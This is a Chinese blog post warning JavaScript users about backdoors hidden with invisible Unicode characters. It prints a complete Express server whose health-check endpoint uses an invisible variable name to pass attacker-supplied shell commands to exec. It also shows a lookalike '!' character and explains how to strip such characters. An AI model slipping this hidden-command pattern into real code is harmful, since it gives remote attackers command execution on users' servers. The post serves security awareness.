分享

这段简单的开源js代码居然暗藏后门

 风声之家 2022-03-18

原创 testerzhang testerzhang 2022-03-16 22:39

收录于话题#安全4个

简单的开源js代码居然暗藏后门

前言

大家好,我是testerzhang,这次分享一些安全知识,请使用js的童鞋更需要警惕。

图片

一.利用方式

可能平时大家都会下载js开源脚本,当你以为你读懂代码了,没啥问题。殊不知一山还有一山高,居然有后门。

就是利用了不可见字符来实现恶意操作。

二. 演示

我们先来看这个js脚本内容

testerzhang >cat 1.js
const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 baidu.com',
        'curl -s http://qq.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd =>
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(38080);

是不是一眼看过去,没啥问题,启动了服务,对外提供了一个/network_health接口

现出原形,显示不可见字符

如果你是在linux系统可以直接使用cat -A 脚本名

模拟攻击

为了模拟,我们这里touch 1个temp.txt文件

是不是可以看到原本目录下面没有文件,怎么突然就多了一个?可怕吧。

延伸

如果上面的touch命令换成rm删除命令,你说会发生什么事情!

或者命令变成下载一个恶意脚本,然后执行这个木马文件,又会怎样!

其他不可见字符

有时候你可以看到这个语句肉眼看也是没问题的

    if(environmentǃ=ENV_PROD){

有时候使用的“ǃ”字符不是感叹号,而是ALVEOLAR CLICK 字符。

进一步说明

在 JavaScript 里面,几乎任何非关键字的Unicode 符号都可以用来做变量名。而\u3164也是一个 Unicode 字符,所以它显然也可以当做变量名。

那问题来了,怎么去掉不可见字符呢?

去掉不可见字符

当我们进行上面的操作后,这时候可以看到新js文件是没有不可见字符的。

运行新脚本,再次尝试,不能创建txt文件了。

文末

本文主要是提醒大家使用js的时候需要额外小心,不要以为拿了现成js就没事,要注意这种隐秘的后门。

testerzhang

十年测试生涯,爱分享技术。头条号:testerzhang

125篇原创内容

公众号

确定

  • 不看此公众号

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多